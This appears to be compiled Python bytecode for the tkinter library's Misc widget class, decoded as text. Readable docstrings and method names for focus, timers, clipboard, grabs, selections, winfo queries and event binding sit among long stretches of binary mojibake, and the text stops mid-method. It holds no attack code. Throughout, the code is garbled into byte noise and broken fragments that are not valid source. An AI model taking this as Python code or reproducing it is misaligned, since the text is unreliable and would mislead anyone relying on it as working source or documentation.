Misc.getvar÷s€à�w‰w�~‰~˜dÓ#Ð#rcó„— |jj|«S#t$r}tt |««‚d}~wwxYwr)r<rQrñrúr©rNrÚÚexcs r rQz Misc.getintûs9€ð 'Ø—7‘7—>‘> !Ó$Ð $øÜò 'ÜœS ›XÓ&Ð &ûð 'úó‚� ?¦:º?có„— |jj|«S#t$r}tt |««‚d}~wwxYwr)r<rRrñrúrr�s r rRzMisc.getdoubles;€ð 'Ø—7‘7×$Ñ$ QÓ'Ð 'øÜò 'ÜœS ›XÓ&Ð &ûð 'úrƒcój— |jj|«S#t$r td«‚wxYw)zPReturn a boolean value for Tcl boolean values true and false given as parameter.r\)r<r rñrú)rNrÚs r r zMisc.getbooleans:€ð AØ—7‘7×%Ñ% aÓ(Ð (øÜò AÜÐ?Ó@Ð @ð Aús‚�2cóP—|jjd|j«y)zÍDirect input focus to this widget. If the application currently does not have the focus this widget will get the focus if the application gets the focus through the window manager.rÅNrurMs r Ú focus_setzMisc.focus_sets€ð �‰� ‰ �W˜dŸg™gÕ&rcóR—|jjdd|j«y)ztDirect input focus to this widget even if the application does not have the focus. Use with caution!rÅz-forceNrurMs r Ú focus_forcezMisc.focus_forces€ð �‰� ‰ �W˜h¨¯©Õ0rcój—|jjd«}|dk(s|sy|j|«S)zÔReturn the widget which has currently the focus in the application. Use focus_displayof to allow working with several displays. Return None if application does not have the focus.rÅÚnoneN)r<r Ú _nametowidgetrs r Ú focus_getzMisc.focus_gets2€ð�w‰w�|‰|˜GÓ$ˆØ �6Š>¡¨dØ×!Ñ! $Ó'Ð'rcó‚—|jjdd|j«}|dk(s|sy|j|«S)z¥Return the widget which has currently the focus on the display where this widget is located. Return None if the application does not have the focus.rÅú -displayofr‹N©r<r rvrŒrs r Úfocus_displayofzMisc.focus_displayof(s:€ð �w‰w�|‰|˜G \°4·7±7Ó;ˆØ �6Š>¡¨dØ×!Ñ! $Ó'Ð'rcó‚—|jjdd|j«}|dk(s|sy|j|«S)zyReturn the widget which would have the focus if top level for this widget gets the focus from the window manager.rÅz-lastforr‹Nr�rs r Ú focus_lastforzMisc.focus_lastfor1s:€ð�w‰w�|‰|˜G Z°·±Ó9ˆØ �6Š>¡¨dØ×!Ñ! $Ó'Ð'rcó:—|jjd«y)zXThe widget under mouse will get automatically focus. Can not be disabled easily.Útk_focusFollowsMouseNrjrMs r r•zMisc.tk_focusFollowsMouse8s€ð �‰� ‰ Ð+Õ,rcóv—|jjd|j«}|sy|j|«S)anReturn the next widget in the focus order which follows widget which has currently the focus. The focus order first goes to the next child, then to the children of the child recursively and then to the next sibling which is higher in the stacking order. A widget is omitted if it has the takefocus resource set to 0.Ú tk_focusNextNr�rs r r—zMisc.tk_focusNext=s2€ð�w‰w�|‰|˜N¨D¯G©GÓ4ˆÙ˜DØ×!Ñ! $Ó'Ð'rcóv—|jjd|j«}|sy|j|«S)zHReturn previous widget in the focus order. See tk_focusNext for details.Ú tk_focusPrevNr�rs r r™zMisc.tk_focusPrevJs0€à�w‰w�|‰|˜N¨D¯G©GÓ4ˆÙ˜DØ×!Ñ! $Ó'Ð'rcó*‡‡‡‡—‰€‰jjd|«yˆˆˆˆfd„} ‰j|_‰j |«Š‰jjd|‰«S#t$rt ‰«j|_YŒSwxYw)aCall function once after given time. MS specifies the time in milliseconds. FUNC gives the function which shall be called. Additional parameters are given as parameters to the function call. Return identifier to cancel scheduling with after_cancel.NÚaftercó •— ‰‰Ž ‰j‰«y#t$rYywxYw# ‰j‰«w#t$rYwwxYwxYwr)rrñ)rnÚfuncrËrNs€€€€r ÚcallitzMisc.after..callit\sYø€ðÙ˜$‘KðØ×*Ñ*¨4Õ0øÜ#òÙðûðØ×*Ñ*¨4Õ0øÜ#òÙðýs5ƒ*‰› '¦'ªA ¬>½A ¾ A ÁA Á A Á A )r<r rPr*r(r')rNÚmsr�rnržrËs` `` @r r›z Misc.afterPs}û€ð ˆ<à �G‰G�L‰L˜ "Ô %Ø÷ ð 6Ø"&§-¡-�”ð—>‘> &Ó)ˆDØ—7‘7—<‘< ¨¨TÓ2Ð 2øô "ò 6ä"& t£*×"5Ñ"5�–ð 6ús­A,Á,#BÂBcó*—|jd|g|¢­ŽS)z–Call FUNC once if the Tcl main loop has no event to process. Return an identifier to cancel the scheduling with after_cancel.Úidle)r›)rNr�rns r Ú after_idlezMisc.after_idlels€ð ˆt�z‰z˜& $Ð.¨Ò.Ð.rcó—|s td«‚ |jjdd|«}|jj|«d}|j |«|jjdd|«y#t $rYŒ)wxYw)z˜Cancel scheduling of function identified with ID. Identifier returned by after or after_idle must be given as first parameter. z?id must be a valid identifier returned from after or after_idler›rrÚcancelN)rúr<r r8rrñ)rNr!ÚdataÚscripts r Ú after_cancelzMisc.after_cancelts…€ñ Üð3ó4ð 4ð Ø—7‘7—<‘< ¨°Ó4ˆDØ—W‘W×&Ñ& tÓ,¨QÑ/ˆFØ × Ñ ˜vÔ &ð �‰� ‰ �W˜h¨Õ+øôò Ù ð ús�A A9Á9 BÂBcó^—|jjd|j|«z«y)zRing a display's bell.)ÚbellN)r<r Ú _displayof©rNÚ displayofs r r©z Misc.bell…s €à �‰� ‰ �Y §¡°Ó!;Ñ;Õð Ø*��6‘ Ø—w‘w—|‘|Ð$8¸4¿=¹=ÈÓ;LÑ$LÓMÐMð�w‰w�|‰|Ð0°4·=±=ÀÓ3DÑDÓEÐEøôò Ø�v’Jð ús•1A4Á4 BÂBc ó„—d|vr|j|d<|jjd|j|«z«y)z‘Clear the data in the Tk clipboard. A widget specified for the optional displayof keyword argument specifies the target display.r¬)r°ÚclearN©rvr<r r²r³s r Úclipboard_clearzMisc.clipboard_clear¡s7€ð ˜bÑ °D·G±G " [¡/Ø �‰� ‰ Ð+¨d¯m©m¸BÓ.?Ñ?Õ@rc óŽ—d|vr|j|d<|jjd|j|«zd|fz«y)zÊAppend STRING to the Tk clipboard. A widget specified at the optional displayof keyword argument specifies the target display. The clipboard can be retrieved with selection_get.r¬)r°r×ú--Nr·)rNÚstringros r Úclipboard_appendzMisc.clipboard_append©sE€ð ˜bÑ °D·G±G " [¡/Ø �‰� ‰ Ð,¨t¯}©}¸RÓ/@Ñ@Ø�v�ñõ rcóx—|jjdd|j«}|sy|j|«S)zOReturn widget which has currently the grab in this application or None.ÚgrabÚcurrentNr�rs r Ú grab_currentzMisc.grab_current´s4€ð�w‰w�|‰|˜F I¨t¯w©wÓ7ˆÙ˜DØ×!Ñ! $Ó'Ð'rcóR—|jjdd|j«y)z.Release grab for this widget if currently set.r¾ÚreleaseNrurMs r Ú grab_releasezMisc.grab_release»s€à �‰� ‰ �V˜Y¨¯©Õ0rcóR—|jjdd|j«y)zwSet grab for this widget. A grab directs all events to this and descendant widgets in the application.r¾rNrurMs r Úgrab_setz Misc.grab_set¿s€ð �‰� ‰ �V˜U D§G¡GÕ,rcóT—|jjddd|j«y)zÊSet global grab for this widget. A global grab directs all events to this and descendant widgets on the display. Use with caution - other applications do not get events anymore.r¾rz-globalNrurMs r Úgrab_set_globalzMisc.grab_set_globalÆs€ð �‰� ‰ �V˜U I¨t¯w©wÕ7rcób—|jjdd|j«}|dk(rd}|S)zYReturn None, "local" or "global" if this widget has no, a local or a global grab.r¾Ústatusr‹Nru)rNrÉs r Ú grab_statuszMisc.grab_statusÎs/€ð—‘—‘˜f h°·±Ó8ˆØ �VÒ  d˜V؈ rcóB—|jjdd|||«y)z©Set a VALUE (second parameter) for an option PATTERN (first parameter). An optional third parameter gives the numeric priority (defaults to 80).Úoptionr*Nrj)rNÚpatternr Úprioritys r Ú option_addzMisc.option_addÕs€ð �‰� ‰ �X˜u g¨u°hÕ?rcó<—|jjdd«y)zPClear the option database. It will be reloaded if option_add is called.rÌr¶NrjrMs r Ú option_clearzMisc.option_clearÝs€ð �‰� ‰ �X˜wÕ'rcóT—|jjdd|j||«S)z‡Return the value for an option NAME for this widget with CLASSNAME. Values with higher priority override lower values.rÌrru)rNrËÚ classNames r Ú option_getzMisc.option_getãs#€ð �w‰w�|‰|˜H e¨T¯W©W°d¸IÓFÐFrcó@—|jjdd||«y)zvRead file FILENAME into the option database. An optional second parameter gives the numeric priority.rÌÚreadfileNrj)rNÚfileNamerÎs r Úoption_readfilezMisc.option_readfileês€ð �‰� ‰ �X˜z¨8°XÕ>rc ó„—d|vr|j|d<|jjd|j|«z«y)zClear the current X selection.r¬)Ú selectionr¶Nr·r³s r Úselection_clearzMisc.selection_clearñs5€à ˜bÑ °D·G±G " [¡/Ø �‰� ‰ Ð+¨d¯m©m¸BÓ.?Ñ?Õ@rc ó2—d|vr|j|d<d|vrB|jdk(r3 d|d<|jjd|j |«z«S|jjd|j |«z«S#t $r|d=YŒ;wxYw)a•Return the contents of the current X selection. A keyword parameter selection specifies the name of the selection and defaults to PRIMARY. A keyword parameter displayof specifies a widget on the display to use. A keyword parameter type specifies the form of data to be fetched, defaulting to STRING except on X11, where UTF8_STRING is tried before STRING.r¬r(r®r¯)rÚr)rvr±r<r r²rñr³s r Ú selection_getzMisc.selection_getös™€ð ˜bÑ °D·G±G " [¡/Ø ˜Ñ  × 5Ñ 5¸Ò >ð Ø*��6‘ Ø—w‘w—|‘|Ð$8¸4¿=¹=ÈÓ;LÑ$LÓMÐMð�w‰w�|‰|Ð0°4·=±=ÀÓ3DÑDÓEÐEøôò Ø�v’Jð ús¨1B BÂBc óž—|j|«}|jjd|j|«z|j|fz«y)aSpecify a function COMMAND to call if the X selection owned by this widget is queried by another application. This function must return the contents of the selection. The function will be called with the arguments OFFSET and LENGTH which allows the chunking of very long selections. The following keyword parameters can be provided: selection - name of the selection (default PRIMARY), type - type of the selection (e.g. STRING, FILE_NAME).)rÚÚhandleN)r'r<r r²rv)rNÚcommandrorËs r Úselection_handlezMisc.selection_handlesC€ð�~‰~˜gÓ&ˆØ �‰� ‰ Ð,¨t¯}©}¸RÓ/@Ñ@Ø—‘˜$�ñ õ !rc óz—|jjd|j|«z|jfz«y)z‚Become owner of X selection. A keyword parameter selection specifies the name of the selection (default PRIMARY).©rÚÚownN)r<r r²rvr³s r Ú selection_ownzMisc.selection_owns6€ð �‰� ‰ Ð)Ø—‘˜rÓ"ñ#Ø&*§g¡g Zñ0õ 1rc óª—d|vr|j|d<|jjd|j|«z«}|sy|j |«S)zÚReturn owner of X selection. The following keyword parameter can be provided: selection - name of the selection (default PRIMARY), type - type of the selection (e.g. STRING, FILE_NAME).r¬rãN)rvr<r r²rŒ)rNrorËs r Úselection_own_getzMisc.selection_own_get sO€ð ˜bÑ °D·G±G " [¡/Ø�w‰w�|‰|Ð0°4·=±=ÀÓ3DÑDÓEˆÙ˜DØ×!Ñ! $Ó'Ð'rcóD—|jjd||f|z«S)zDSend Tcl command CMD to different interpreter INTERP to be executed.Úsendrj)rNÚinterpÚcmdrns r réz Misc.send,s!€à�w‰w�|‰|˜V V¨SÐ1°DÑ8Ó9Ð9rcóR—|jjd|j|«y)z(Lower this widget in the stacking order.ÚlowerNru)rNÚ belowThiss r ríz Misc.lower0ó€à �‰� ‰ �W˜dŸg™g yÕ1rcóR—|jjd|j|«y)z(Raise this widget in the stacking order.ÚraiseNru)rNÚ aboveThiss r Útkraisez Misc.tkraise4rïrcóP—|jjdd«}t|«S)z-Returns the exact version of the Tcl library.rÚ patchlevel)r<r r^)rNrõs r Úinfo_patchlevelzMisc.info_patchlevel:s!€à—W‘W—\‘\ &¨,Ó7ˆ ܘjÓ)Ð)rcóš—d|j|«z|fz}|jj|jj|««S)z*Return integer which represents atom NAME.)ÚwinfoÚatom)rªr<rQr )rNrËr¬rns r Ú winfo_atomzMisc.winfo_atom?s<€à  4§?¡?°9Ó#=Ñ=ÀÀÑGˆØ�w‰w�~‰~˜dŸg™gŸl™l¨4Ó0Ó1Ð1rcóh—d|j|«z|fz}|jj|«S)z'Return name of atom with identifier ID.)røÚatomname)rªr<r ©rNr!r¬rns r Úwinfo_atomnamezMisc.winfo_atomnameDs5€à$Ø—‘ Ó+ñ,Ø/1¨eñ4ˆà�w‰w�|‰|˜DÓ!Ð!rcó‚—|jj|jjdd|j««S)z7Return number of cells in the colormap for this widget.røÚcells©r<rQr rvrMs r Ú winfo_cellszMisc.winfo_cellsJó/€à�w‰w�~‰~Ø �G‰G�L‰L˜ '¨4¯7©7Ó 3ó5ð 5rcóô—g}|jj|jjdd|j««D]#} |j |j |««Œ%|S#t $rYŒ3wxYw)z?Return a list of all widgets which are children of this widget.røÚchildren)r<r8r rvr×rŒÚKeyError)rNÚresultÚchilds r Úwinfo_childrenzMisc.winfo_childrenOsq€àˆØ—W‘W×&Ñ&Ø �G‰G�L‰L˜ *¨d¯g©gÓ 6ö8ˆEð ð— ‘ ˜d×0Ñ0°Ó7Õ8ð 8ðˆ øôò Ùð úsÁ A+Á+ A7Á6A7cóP—|jjdd|j«S)z(Return window class name of this widget.røÚclassrurMs r Ú winfo_classzMisc.winfo_class\s€à�w‰w�|‰|˜G W¨d¯g©gÓ6Ð6rcó‚—|jj|jjdd|j««S)z?Return True if at the last color request the colormap was full.røÚ colormapfull©r<r r rvrMs r Úwinfo_colormapfullzMisc.winfo_colormapfull`s1€à�w‰w×!Ñ!Ø �G‰G�L‰L˜ .°$·'±'Ó :ó<ð ð >rcó‚—|jj|jjdd|j««S)z:Return the x coordinate of the pointer on the root window.røÚpointerxrrMs r Úwinfo_pointerxzMisc.winfo_pointerx¬r0rcón—|j|jjdd|j««S)zHReturn a tuple of x and y coordinates of the pointer on the root window.røÚ pointerxy©Ú_getintsr<r rvrMs r Úwinfo_pointerxyzMisc.winfo_pointerxy±s+€à�}‰}Ø �G‰G�L‰L˜ +¨t¯w©wÓ 7ó9ð 9rcó‚—|jj|jjdd|j««S)z:Return the y coordinate of the pointer on the root window.røÚpointeryrrMs r Úwinfo_pointeryzMisc.winfo_pointery¶r0rcó‚—|jj|jjdd|j««S)z'Return requested height of this widget.røÚ reqheightrrMs r Úwinfo_reqheightzMisc.winfo_reqheight»s/€à�w‰w�~‰~Ø �G‰G�L‰L˜ +¨t¯w©wÓ 7ó9ð 9rcó‚—|jj|jjdd|j««S)z&Return requested width of this widget.røÚreqwidthrrMs r Úwinfo_reqwidthzMisc.winfo_reqwidthÀr0rcóp—|j|jjdd|j|««S)zNReturn a tuple of integer RGB values in range(65536) for color in this widget.røÚrgbrE)rNÚcolors r Ú winfo_rgbzMisc.winfo_rgbÅs-€à�}‰}Ø �G‰G�L‰L˜ %¨¯©°%Ó 8ó:ð :rcó‚—|jj|jjdd|j««S)zSReturn x coordinate of upper left corner of this widget on the root window.røÚrootxrrMs r Ú winfo_rootxzMisc.winfo_rootxÊó1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ '¨4¯7©7Ó 3ó5ð 5rcó‚—|jj|jjdd|j««S)zSReturn y coordinate of upper left corner of this widget on the root window.røÚrootyrrMs r Ú winfo_rootyzMisc.winfo_rootyÐrXrcóP—|jjdd|j«S)z&Return the screen name of this widget.røÚscreenrurMs r Ú winfo_screenzMisc.winfo_screenÖr9rcó‚—|jj|jjdd|j««S)zTReturn the number of the cells in the colormap of the screen of this widget.røÚ screencellsrrMs r Úwinfo_screencellszMisc.winfo_screencellsÚó1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ -°·±Ó 9ó;ð ;rcó‚—|jj|jjdd|j««S)z\Return the number of bits per pixel of the root window of the screen of this widget.røÚ screendepthrrMs r Úwinfo_screendepthzMisc.winfo_screendepthàrbrcó‚—|jj|jjdd|j««S)zXReturn the number of pixels of the height of the screen of this widget in pixel.røÚ screenheightrrMs r Úwinfo_screenheightzMisc.winfo_screenheightæs1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ .°$·'±'Ó :ó<ð ð >rcó‚—|jj|jjdd|j««S)zTReturn the number of pixels of the width of the screen of this widget in mm.røÚ screenmmwidthrrMs r Úwinfo_screenmmwidthzMisc.winfo_screenmmwidthòs1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ /°4·7±7Ó ;ó=ð =rcóP—|jjdd|j«S)zŸReturn one of the strings directcolor, grayscale, pseudocolor, staticcolor, staticgray, or truecolor for the default colormodel of this screen.røÚ screenvisualrurMs r Úwinfo_screenvisualzMisc.winfo_screenvisualøs€ð�w‰w�|‰|˜G ^°T·W±WÓ=Ð=rcó‚—|jj|jjdd|j««S)zWReturn the number of pixels of the width of the screen of this widget in pixel.røÚ screenwidthrrMs r Úwinfo_screenwidthzMisc.winfo_screenwidthþrbrcóP—|jjdd|j«S)zxReturn information of the X-Server of the screen of this widget in the form "XmajorRminor vendor vendorVersion".røÚserverrurMs r Ú winfo_serverzMisc.winfo_servers€ð�w‰w�|‰|˜G X¨t¯w©wÓ7Ð7rcón—|j|jjdd|j««S)z*Return the toplevel widget of this widget.røÚtoplevel)rŒr<r rvrMs r Úwinfo_toplevelzMisc.winfo_toplevel s/€à×!Ñ! $§'¡'§,¡,Ø �Z §¡ó#*ó+ð +rcó‚—|jj|jjdd|j««S)zBReturn true if the widget and all its higher ancestors are mapped.røÚviewablerrMs r Úwinfo_viewablezMisc.winfo_viewabler0rcóP—|jjdd|j«S)z—Return one of the strings directcolor, grayscale, pseudocolor, staticcolor, staticgray, or truecolor for the colormodel of this widget.røÚvisualrurMs r Ú winfo_visualzMisc.winfo_visuals€ð�w‰w�|‰|˜G X¨t¯w©wÓ7Ð7rcóP—|jjdd|j«S)z7Return the X identifier for the visual for this widget.røÚvisualidrurMs r Úwinfo_visualidzMisc.winfo_visualidr%rcó.—|jjdd|j|rdnd«}|jj|«D�cgc]}|jj|«‘Œ}}|D�cgc]}|j |«‘Œc}Scc}wcc}w)zäReturn a list of all visuals available for the screen of this widget. Each item in the list consists of a visual name (see winfo_visual), a depth and if includeids is true is given also the X identifier.røÚvisualsavailableÚ includeidsN)r<r rvr8Ú_Misc__winfo_parseitem)rNr†r¥rÆs r Úwinfo_visualsavailablezMisc.winfo_visualsavailables†€ð �w‰w�|‰|˜GÐ%7¸¿¹Ù,6™L¸DóBˆà.2¯g©g×.?Ñ.?ÀÔ.EÓFÑ.E¨�—‘×!Ñ! !Õ$Ð.EˆÐFÙ37Ó8±4¨a�×&Ñ& qÕ)°4Ñ8Ð8ùòGùÚ8s Á "B Á2Bc óR—|ddtt|j|dd««zS)rNr)rr Ú_Misc__winfo_getint)rNr?s r Ú__winfo_parseitemzMisc.__winfo_parseitem(s+€à��!ˆu”uœS ×!4Ñ!4°a¸¸°eÓ<Ó=Ñ=Ð=rcó—t|d«S)rr)r[r>s r Ú__winfo_getintzMisc.__winfo_getint,s€ä�1�a‹yÐrcó‚—|jj|jjdd|j««S)z§Return the height of the virtual root window associated with this widget in pixels. If there is no virtual root window return the height of the screen.røÚ vrootheightrrMs r Úwinfo_vrootheightzMisc.winfo_vrootheight0s1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ -°·±Ó 9ó;ð ;rcó‚—|jj|jjdd|j««S)z¤Return the width of the virtual root window associated with this widget in pixel. If there is no virtual root window return the width of the screen.røÚ vrootwidthrrMs r Úwinfo_vrootwidthzMisc.winfo_vrootwidth7s1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ ,°·±Ó 8ó:ð :rcó‚—|jj|jjdd|j««S)ziReturn the x offset of the virtual root relative to the root window of the screen of this widget.røÚvrootxrrMs r Ú winfo_vrootxzMisc.winfo_vrootx>ó1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ (¨D¯G©GÓ 4ó6ð 6rcó‚—|jj|jjdd|j««S)ziReturn the y offset of the virtual root relative to the root window of the screen of this widget.røÚvrootyrrMs r Ú winfo_vrootyzMisc.winfo_vrootyDr—rcó‚—|jj|jjdd|j««S)z Return the width of this widget.rørÈrrMs r Ú winfo_widthzMisc.winfo_widthJrrcó‚—|jj|jjdd|j««S)zVReturn the x coordinate of the upper left corner of this widget in the parent.rørÆrrMs r Úwinfo_xz Misc.winfo_xOó1€ð�w‰w�~‰~Ø �G‰G�L‰L˜ # t§w¡wÓ /ó1ð 1rcó‚—|jj|jjdd|j««S)zVReturn the y coordinate of the upper left corner of this widget in the parent.rørÇrrMs r Úwinfo_yz Misc.winfo_yUrŸrcó:—|jjd«y)zEEnter event loop until all pending events have been processed by Tcl.r)NrjrMs r r)z Misc.update[s€à �‰� ‰ �XÕrcó<—|jjdd«y)zžEnter event loop until all idle callbacks have been called. This will update the display of windows but not process events caused by the user.r)Ú idletasksNrjrMs r Úupdate_idletaskszMisc.update_idletasks_s€ð �‰� ‰ �X˜{Õ+rcóÔ—|€?|jj|jjd|j««S|jjd|j|«y)a,Set or get the list of bindtags for this widget. With no argument return the list of all bindtags associated with this widget. With a list of strings as argument the bindtags are set to this list. The bindtags determine in which order events are processed (see bind).NÚbindtags©r<r8r rv)rNÚtagLists r r§z Misc.bindtagsesP€ð ˆ?Ø—7‘7×$Ñ$Ø—‘— ‘ ˜Z¨¯©Ó1ó3ð 3ð �G‰G�L‰L˜ T§W¡W¨gÕ 6rcóÊ—t|t«r!|jj|||fz«y|r\|j ||j |«}|xrdxsd›d|›d|j ›d�}|jj|||fz«|S|r|jj||fz«S|jj|jj|««S)rÚ+rÌúif {"[rz]" == "break"} break N)rrr<r r'Ú _substituteÚ_subst_format_strr8)rNrçÚsequencer�r*Ú needcleanupÚfuncidrës r Ú_bindz Misc._bindrsÆ€ä �dœCÔ Ø �G‰G�L‰L˜ ¨4Ð 0Ñ0Õ 1Ù Ø—^‘^ D¨$×*:Ñ*:Ø#ó%ˆFð’K˜CÒ% 2Ñ%Ú˜×.Ó.ð0ˆCð �G‰G�L‰L˜ ¨3 Ñ/Ô 0؈MÙ Ø—7‘7—<‘< ¨ {Ñ 2Ó3Ð 3à—7‘7×$Ñ$ T§W¡W§\¡\°$Ó%7Ó8Ð 8rcóB—|jd|jf|||«S)aOBind to this widget at event SEQUENCE a call to function FUNC. SEQUENCE is a string of concatenated event patterns. An event pattern is of the form where MODIFIER is one of Control, Mod2, M2, Shift, Mod3, M3, Lock, Mod4, M4, Button1, B1, Mod5, M5 Button2, B2, Meta, M, Button3, B3, Alt, Button4, B4, Double, Button5, B5 Triple, Mod1, M1. TYPE is one of Activate, Enter, Map, ButtonPress, Button, Expose, Motion, ButtonRelease FocusIn, MouseWheel, Circulate, FocusOut, Property, Colormap, Gravity Reparent, Configure, KeyPress, Key, Unmap, Deactivate, KeyRelease Visibility, Destroy, Leave and DETAIL is the button number for ButtonPress, ButtonRelease and DETAIL is the Keysym for KeyPress and KeyRelease. Examples are for pressing Control and mouse button 1 or for pressing A and the Alt key (KeyPress can be omitted). An event pattern can also be a virtual event of the form <> where AString can be arbitrary. This event can be generated by event_generate. If events are concatenated they must appear shortly after each other. FUNC will be called if the event sequence occurs with an instance of Event as argument. If the return value of FUNC is "break" no further bound function is invoked. An additional boolean parameter ADD specifies whether FUNC will be called additionally to the other bound function or whether it will replace the previous function. Bind will return an identifier to allow deletion of the bound function with unbind without memory leak. If FUNC or SEQUENCE is omitted the bound function or list of bound events are returned.Úbind©r²rv©rNr¯r�r*s r r´z Misc.bind„s#€ðN�z‰z˜6 4§7¡7Ð+¨X°t¸SÓAÐArcóB—|jd|j|f|«y)aUnbind for this widget the event SEQUENCE. If FUNCID is given, only unbind the function identified with FUNCID and also delete the corresponding Tcl command. Otherwise destroy the current binding for SEQUENCE, leaving SEQUENCE unbound. r´N©Ú_unbindrv)rNr¯r±s r Úunbindz Misc.unbind­s€ð � ‰ �f˜dŸg™g xÐ0°&Õ9rcó^‡—|€|jjg|¢d‘­Žy|jj|«jd«}d|›d�Šdjˆfd„|D««}|j «sd}|jjg|¢|‘­Ž|j |«y)NrÌrr¬rc3óD•K—|]}|j‰«s|–—Œy­wr)Ú startswith)rÏÚlineÚprefixs €r rÑzMisc._unbind..¾s#øèø€ð=©e dØ$(§O¡O°FÔ$;ô"©eùsƒ )r<r ÚsplitrÚstripr)rNrçr±ÚlinesÚkeepr¿s @r r¹z Misc._unbind¸s�ø€Ø ˆ>Ø ˆD�G‰G�L‰LÐ #˜$Ð # Ô #à—G‘G—L‘L Ó&×,Ñ,¨TÓ2ˆEؘv˜h aÐ(ˆFØ—9‘9ó=©eó=ó=ˆDà—:‘:”<Ø�Ø ˆD�G‰G�L‰LÐ %˜$Ð % Ó %Ø × Ñ ˜vÕ &rcóH—|j«jd|||d«S)aBind to all widgets at an event SEQUENCE a call to function FUNC. An additional boolean parameter ADD specifies whether FUNC will be called additionally to the other bound function or whether it will replace the previous function. See bind for the return value.)r´ÚallT©rr²r¶s r Úbind_allz Misc.bind_allÅs#€ð �z‰z‹|×!Ñ! /°8¸TÀ3ÈÓMÐMrcóH—|j«jdd|f«y)z8Unbind for all widgets for event SEQUENCE all functions.r´rÅN©rr¹)rNr¯s r Ú unbind_allzMisc.unbind_allÌs€à � ‰ ‹ ×јf e¨XÐ6Õ7rcóL—|j«jd|f|||d«S)a=Bind to widgets with bindtag CLASSNAME at event SEQUENCE a call of function FUNC. An additional boolean parameter ADD specifies whether FUNC will be called additionally to the other bound function or whether it will replace the previous function. See bind for the return value.r´TrÆ)rNrÓr¯r�r*s r Ú bind_classzMisc.bind_classÐs(€ð�z‰z‹|×!Ñ! 6¨9Ð"5°xÀÀsÈDÓQÐQrcóH—|j«jd||f«y)zWUnbind for all widgets with bindtag CLASSNAME for event SEQUENCE all functions.r´NrÉ)rNrÓr¯s r Ú unbind_classzMisc.unbind_classÚs€ð � ‰ ‹ ×јf i°Ð:Õ;rcó:—|jj|«y)zCall the mainloop of Tk.N)r<r^)rNrÜs r r^z Misc.mainloopßs€à �‰×јÕrcó8—|jj«y)z8Quit the Tcl interpreter. All widgets will be destroyed.N)r<ÚquitrMs r rÑz Misc.quitãs€à �‰� ‰ �rcóŒ—|rBtt|jj|jj |«««Syrö)rr r<rQr8©rNr»s r rFz Misc._getintsçs3€á Üœ˜TŸW™WŸ^™^¨T¯W©W×->Ñ->¸vÓ-FÓGÓHÐ Hð rcóŒ—|rBtt|jj|jj |«««Syrö)rr r<rRr8rÓs r Ú _getdoubleszMisc._getdoublesìs5€á Üœ˜TŸW™W×.Ñ.°·±×0AÑ0AÀ&Ó0IÓJÓKÐ Kð rcó>—|r|jj|«Syrö)r<r rÓs r Ú _getbooleanzMisc._getbooleanñs€á Ø—7‘7×%Ñ% fÓ-Ð -ð rcó0—|rd|fS|€d|jfSy)rr�r!©rvr«s r rªzMisc._displayofös(€á Ø  )Ð,Ð ,Ø Ð Ø  $§'¡'Ð*Ð *Ørcó¼— |j«jS#t$r6|jj dd«x}|j«_|cYSwxYw)rr<Úwindowingsystem)rÚ_windowingsystem_cachedr*r<r )rNÚwss r r±zMisc._windowingsystemþsR€ð Ø—:‘:“<×7Ñ7Ð 7øÜò àŸ™Ÿ ™  TÐ+<Ó=ð >ˆB�—‘“Ô5àŠIð ús‚œ.getint_event]s+ø€ð Ù˜a“yÐ øÜ¤Ð)ò Ø’ð ús ƒ ‹žr)rÚ _subst_formatr<r rQr®rLrÄrÅrñrÉrÃr²ÚtimerÈrÆrÇr°r±rÂÚ keysym_numr`r(rúrŒÚwidgetrÚx_rootÚy_rootrÁ)rNrnr rëÚnsignrWr%Úhr2rÚr?rärÆrÇÚAÚEÚKÚNÚWÚTÚXÚYÚDÚerQs @r r­zMisc._substituteWsÐø€ä ˆt‹9œ˜D×.Ñ.Ó/Ò /¸°Ø—W‘W×'Ñ'ˆ à—‘—‘ˆô ðGKÑCˆˆq�!�Q˜˜1˜a  A q¨!¨Q°°1°a¸¸A¸qÀ!ä ‹Gˆñ˜%“=ˆŒÙ˜Q“ˆŒÙ! !“}ˆQŒWá “?ˆŒÙ  “OˆŒ Ù˜q“/ˆŒÙ˜a“ˆŒÙ˜q“/ˆŒÙ˜1‹oˆŒÙ˜1‹oˆŒØˆŒÙ& q›MˆQŒ\àˆŒÙ# A“ˆŒ ð ܘq“\ˆAŒFð Ø×)Ñ)¨!Ó,ˆAŒHñ  “?ˆŒÙ “?ˆŒð Ù˜Q“iˆAŒGðˆtˆ øô7Ò™ÐûôÒ™Ðûô ò ؈AŽFð ûôò ؈AŽHð ûô œHÐ%ò ؈A�G؈tˆ ð úsZ E3Ã? FÄ!FÄ2F'Å# F=Å3 E?Å>E?Æ FÆ FÆF$Æ#F$Æ'F:Æ9F:Æ=GÇGcóz—tj«\}}}|j«}|j|||«yrö)ÚsysÚexc_inforÚreport_callback_exception)rNr‚ÚvalÚtbrès r Ú_report_exceptionzMisc._report_exception”s0€ä—|‘|“~‰ ˆˆS�"Ø�z‰z‹|ˆØ ×&Ñ& s¨C°Õ4rcóÞ—i}|jj|jj|Ž«D]5}|jj|«}|dddf|ddz||ddd<Œ7|S)z;Call Tcl configure command and return the result as a dict.rrN©r<r8r )rNrnr/rÆs r Ú _getconfigurezMisc._getconfigurešst€àˆØ—‘×"Ñ" < 4§7¡7§<¡<°Ð#6Ö7ˆAØ—‘×!Ñ! !Ó$ˆAؘq™T ! "˜X˜K¨!¨A¨B¨%Ñ/ˆC��!‘�Q�R�ŠMð8ðˆ rcó„—|jj|jj|Ž«}|dddf|ddzS)Nrrr©rNrnrÆs r Ú_getconfigure1zMisc._getconfigure1¢sB€Ø �G‰G× Ñ ˜l˜dŸg™gŸl™l¨DÐ1Ó 2ˆØ�!‘�Q�R�ˆ{˜Q˜q˜r˜UÑ"Ð"rcó†—|rt||f«}n |r t|«}|€&|jt|j|f««St |t «r*|j t|j|d|zf««S|jjt|j|f«|j|«z«y)rNr7) r4rr"rvrrr r<r r²)rNrër/ros r Ú _configurezMisc._configure¦sœ€á ܘS "˜IÓ&‰C٠ܘC“.ˆCØ ˆ;Ø×%Ñ%¤h°·±¸¨~Ó&>Ó?Ð ?Ü �cœ3Ô 